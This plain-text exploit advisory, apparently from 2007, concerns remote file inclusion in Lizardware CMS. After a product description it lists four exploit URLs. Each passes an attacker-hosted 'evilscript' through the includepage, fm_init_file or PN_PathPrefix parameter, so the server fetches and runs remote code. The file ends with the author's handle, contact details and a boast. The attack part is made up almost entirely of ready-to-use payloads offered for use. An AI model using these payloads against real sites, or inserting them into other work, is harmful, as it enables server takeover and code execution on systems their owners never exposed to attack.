lizard-rfi.txt

`Lizardware CMS Remote File Inclusion   
---------|  
Download:|  
---------|---------------------------------------------------------|  
http://sourceforge.net/project/platformdownload.php?group_id=183519|  
-------------------------------------------------------------------|  
-----------------------|  
Launched .:2007-03-31:.|  
-----------------------|  
-----------------|  
Timeline:17.11.07|  
-----------------|  
------------|  
Description |  
------------|------------------------------------------------------------------------------|  
Lizardware CMS is taking Content Management Systems to a new height combined with a custom |   
admin browser to make administrating your site easier on bandwidth, incorporating |  
a Debian style library for its plugin management and many new and unique components |  
-------------------------------------------------------------------------------------------|  
-------|  
Exploit|  
-------|----------------------------------------------------------------|   
http://host.com/index.php?includepage=http://host.com/evilscript? |  
http://host.com/fmp_admin.php?fm_init_file=http://host.com/evilscript? |   
http://host.com/file.php?fm_init_file=http://host.com/evilscript? |  
http://host.com/fmp_admin.php?PN_PathPrefix=http://host.com/evilscript? |  
------------------------------------------------------------------------|  
------|  
Author|  
------|  
fl0 fl0w  
e-mail:flo[underscore]flow[underscore]supremacy[at]yahoo[dot]com  
site:http://fl0-fl0w.docspages.com  
A renslt.org team member ..."we're not the only ones but we're the best"  
`